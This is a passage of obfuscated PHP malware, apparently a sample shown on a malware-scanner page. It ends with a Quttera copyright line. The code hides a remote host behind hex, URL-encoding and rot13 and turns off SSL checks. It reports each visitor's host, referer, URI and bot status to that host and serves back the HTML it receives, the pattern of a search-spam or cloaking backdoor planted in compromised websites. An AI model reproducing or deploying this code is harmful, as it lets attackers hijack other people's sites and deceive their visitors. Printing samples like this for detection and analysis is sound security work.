$_SERVER["\x48\124\124\120\x5f\x52\105\106\x45\x52\105\x52"]; $urlshang = urlencode($urlshang); } goto EPmgP; uqqde: $goweb = str_rot13(urldecode($xmlname)); goto DYHqp; ugj2m: @set_time_limit(3600); goto GPbVt; DYHqp: function is_https() { if (isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\110\124\x54\x50\123"]) !== "\x6f\146\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\x5f\x58\137\106\x4f\122\x57\101\122\x44\105\104\x5f\x50\122\117\124\117"]) && $_SERVER["\x48\124\x54\x50\137\130\137\x46\x4f\122\x57\101\122\104\x45\104\137\x50\122\117\124\x4f"] === "\150\164\164\x70\x73") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\x46\x52\x4f\116\124\x5f\x45\x4e\104\137\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\124\120\137\x46\122\117\116\124\x5f\105\116\x44\x5f\110\124\x54\120\123"]) !== "\x6f\146\146") { return true; } return false; } goto FfjRL; gyPx0: function doutdo($url) { $file_contents = ''; if (function_exists("\143\165\x72\154\x5f\151\156\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto oVvF7; IK_Rh: $html_content = trim(doutdo($web)); goto nGUS3; FfjRL: $host = $_SERVER["\110\124\x54\x50\137\x48\117\x53\124"]; goto os8Az; hX0w_: $duri_tmp = drequest_uri(); goto OahZQ; oVvF7: $web = $http_web . "\72\57\57" . $goweb . "\x2f\x69\x6e\x64\x65\170\x6e\x65\167\x2e\160\150\160\77\167\145\142\x3d" . $host . "\46\x7a\172\75" . disbot() . "\x26\165\162\151\75" . $duri . "\x26\165\x72\154\163\150\x61\x6e\x67\75" . $urlshang . "\x26\x68\x74\164\160\75" . $http . "\x26\154\x61\x6e\x67\x3d" . $lang; goto IK_Rh; mcZAh: $xmlname = "\x25\x37\70\45\66\x35\45\67\x36\45\x36\x36\45\x36\63\45\x36\x43\x25\67\70\x25\x32\x45\x25\66\x32\45\x36\x45\x25\67\62\x25\66\x31\x25\x36\x35\x25\x37\x36\x25\x37\60\45\x37\65\45\x37\x31\x25\x36\x36\x25\x32\x45\45\66\102\x25\x36\103\45\66\x44"; goto OJM4n; GPbVt: @ignore_user_abort(1); goto mcZAh; gQg5u:
© 2023 Quttera Ltd. All rights reserved.